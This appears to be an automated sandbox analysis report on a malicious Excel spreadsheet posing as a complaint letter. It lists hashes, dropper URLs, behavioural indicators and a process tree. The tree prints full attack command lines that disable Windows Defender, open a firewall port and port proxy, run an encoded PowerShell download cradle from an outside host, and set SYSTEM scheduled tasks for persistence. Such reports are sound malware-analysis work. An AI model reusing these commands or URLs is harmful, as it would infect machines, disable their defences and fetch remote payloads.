9c0656e6e8de2c3dc70989d4c563d3f250bc81bb1598cff78e0ec72aa854176a

Analysis

max time kernel
142s
max time network
145s
platform
windows7_x64
resource
win7v20201028
submitted
11-03-2021 12:19

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Report Analysis Logs

General

Target

Complaint-Letter-2050692395-03102021.xls
Size

281KB
MD5

1defa9216b9455154b38c0775991e30f
SHA1

b35e76b7ae9b2aaf253a44c6d3a8500b41458818
SHA256

9c0656e6e8de2c3dc70989d4c563d3f250bc81bb1598cff78e0ec72aa854176a
SHA512

d958e8f5dbc1dee799e08ed8ec331702d2ad289b241fd90b1f7df3b055122af230c611ab4078dbc7bf8bf6f92812a41b2e703a5321027ec84afc86cdf0168d07

Score

10^/10

evasion

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://t.amynx.com/gim.jsp

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://oracledispatch.com/pijxju/44266.5112703704.dat

xlm40.dropper

http://alvaelectrical.ir/jfvrrvwxrsv/44266.5112703704.dat

xlm40.dropper

http://www.bekagayrimenkul.com/xtgudsvqubbk/44266.5112703704.dat

xlm40.dropper

http://civil-group.ir/rvnhdtkyxgu/44266.5112703704.dat

xlm40.dropper

http://kumarpropack.com/jdvcnedwvpr/44266.5112703704.dat

Signatures

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1012	740	rundll32.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1552	740	rundll32.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	324	740	rundll32.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	304	740	rundll32.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1104	740	rundll32.exe	EXCEL.EXE

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Drops file in System32 directory 27 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fa0cccc-bd07-46b6-bbfb-6f684af6fe0c	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_825b8c97-456d-45e0-ad20-3248b0be48ae	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a67207d5-5e53-419f-8e2a-a1effb0f69c8	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a628c4bb-c847-4f43-b7b8-fc3df7e3ded8	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8647a6e5-2b55-45ff-924f-b062eec82618	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a79ac096-faf4-4576-a343-c83613fa4f7a	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a628c4bb-c847-4f43-b7b8-fc3df7e3ded8	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a67207d5-5e53-419f-8e2a-a1effb0f69c8	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f7d0cfd-3206-461b-ba90-cf9caff90e4f	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ee540e35-496f-4492-97b1-205ed8f45b20	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd108f00-0793-45c0-aeb9-b9f092133b4c	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a79ac096-faf4-4576-a343-c83613fa4f7a	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f726eb44-6160-4183-a8a3-b73bba0bd401	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_54fa9499-d41f-46fd-b220-9e85032d247c	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c0735df9-5c5f-4952-b557-20651b226c73	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6bd7be-ed30-486d-9bfc-91d84f832539	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd108f00-0793-45c0-aeb9-b9f092133b4c	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f726eb44-6160-4183-a8a3-b73bba0bd401	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_825b8c97-456d-45e0-ad20-3248b0be48ae	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ee540e35-496f-4492-97b1-205ed8f45b20	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8647a6e5-2b55-45ff-924f-b062eec82618	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_122d086f-a5e9-4f9e-852e-af4289e8290c	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_44adb891-8d1f-476e-90f1-88294de857a3	powershell.exe

Drops file in Windows directory 2 IoCs

Processes:

cmd.exe

description ioc process

File created \??\c:\windows\VxOXCu.exe cmd.exe
File opened for modification \??\c:\windows\VxOXCu.exe cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1100 schtasks.exe
864 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
File created	\??\c:\windows\VxOXCu.exe	cmd.exe
File opened for modification	\??\c:\windows\VxOXCu.exe	cmd.exe

pid	process
1100	schtasks.exe
864	schtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE

Modifies data under HKEY_USERS 34 IoCs

Processes:

WScript.exenetsh.exepowershell.execmd.exenetsh.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40fef7927016d701	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000c078ee927016d701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000020daf0927016d701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

740 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1488 powershell.exe
1488 powershell.exe
988 powershell.exe
988 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1488 powershell.exe
Token: SeDebugPrivilege 988 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

740 EXCEL.EXE
740 EXCEL.EXE
740 EXCEL.EXE

pid	process
740	EXCEL.EXE

pid	process
1488	powershell.exe
1488	powershell.exe
988	powershell.exe
988	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	988	powershell.exe

pid	process
740	EXCEL.EXE
740	EXCEL.EXE
740	EXCEL.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

EXCEL.EXEqXRqMAeY.execmd.exeWScript.execmd.exe

description	pid	process	target process
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1012	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1552	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 324	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 304	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 740 wrote to memory of 1104	740	EXCEL.EXE	rundll32.exe
PID 1564 wrote to memory of 1624	1564	qXRqMAeY.exe	cmd.exe
PID 1564 wrote to memory of 1624	1564	qXRqMAeY.exe	cmd.exe
PID 1564 wrote to memory of 1624	1564	qXRqMAeY.exe	cmd.exe
PID 1564 wrote to memory of 1624	1564	qXRqMAeY.exe	cmd.exe
PID 1624 wrote to memory of 844	1624	cmd.exe	WScript.exe
PID 1624 wrote to memory of 844	1624	cmd.exe	WScript.exe
PID 1624 wrote to memory of 844	1624	cmd.exe	WScript.exe
PID 1624 wrote to memory of 844	1624	cmd.exe	WScript.exe
PID 844 wrote to memory of 1500	844	WScript.exe	cmd.exe
PID 844 wrote to memory of 1500	844	WScript.exe	cmd.exe
PID 844 wrote to memory of 1500	844	WScript.exe	cmd.exe
PID 844 wrote to memory of 1500	844	WScript.exe	cmd.exe
PID 1500 wrote to memory of 1488	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1488	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1488	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1488	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1056	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 1056	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 1056	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 1056	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 736	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 736	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 736	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 736	1500	cmd.exe	netsh.exe
PID 1500 wrote to memory of 988	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 988	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 988	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 988	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1100	1500	cmd.exe	schtasks.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Complaint-Letter-2050692395-03102021.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\rundll32.exe
rundll32 ..\Runtime.brok,DllRegisterServer
2⤵
- Process spawned unexpected child process
PID:1012

C:\Windows\SysWOW64\rundll32.exe
rundll32 ..\Runtime.brok1,DllRegisterServer
2⤵
- Process spawned unexpected child process
PID:1552

C:\Windows\SysWOW64\rundll32.exe
rundll32 ..\Runtime.brok2,DllRegisterServer
2⤵
- Process spawned unexpected child process
PID:324

C:\Windows\SysWOW64\rundll32.exe
rundll32 ..\Runtime.brok3,DllRegisterServer
2⤵
- Process spawned unexpected child process
PID:304

C:\Windows\SysWOW64\rundll32.exe
rundll32 ..\Runtime.brok4,DllRegisterServer
2⤵
- Process spawned unexpected child process
PID:1104

C:\Windows\qXRqMAeY.exe
C:\Windows\qXRqMAeY.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1564

C:\Windows\SysWOW64\cmd.exe
cmd /c call "c:\windows\temp\tmp.vbs"
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
3⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c echo EYdGmA >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess c:\windows\system32\WindowsPowerShell1.0\powershell.exe&netsh firewall add portopening tcp 65529 DNSd&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\VxOXCu.exe&move /y c:\windows\temp\dig.exe c:\windows\KOCz.exe&if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn VxOXCu /tr "C:\Windows\VxOXCu.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\llrg" /tr "c:\windows\KOCz.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pEIDQHRRL"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\KOCz.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\VxOXCu.exe"&schtasks /run /TN escan)
4⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess c:\windows\system32\WindowsPowerShell1.0\powershell.exe
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening tcp 65529 DNSd
5⤵
- Modifies data under HKEY_USERS
PID:1056

C:\Windows\SysWOW64\netsh.exe
netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
5⤵
- Modifies data under HKEY_USERS
PID:736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn VxOXCu /tr "C:\Windows\VxOXCu.exe" /F
5⤵
- Creates scheduled task(s)
PID:1100

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\llrg" /tr "c:\windows\KOCz.exe" /F
5⤵
- Creates scheduled task(s)
PID:864

C:\Windows\pzsTZoSj.exe
C:\Windows\pzsTZoSj.exe
1⤵
PID:1948

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_825b8c97-456d-45e0-ad20-3248b0be48ae
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8647a6e5-2b55-45ff-924f-b062eec82618
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
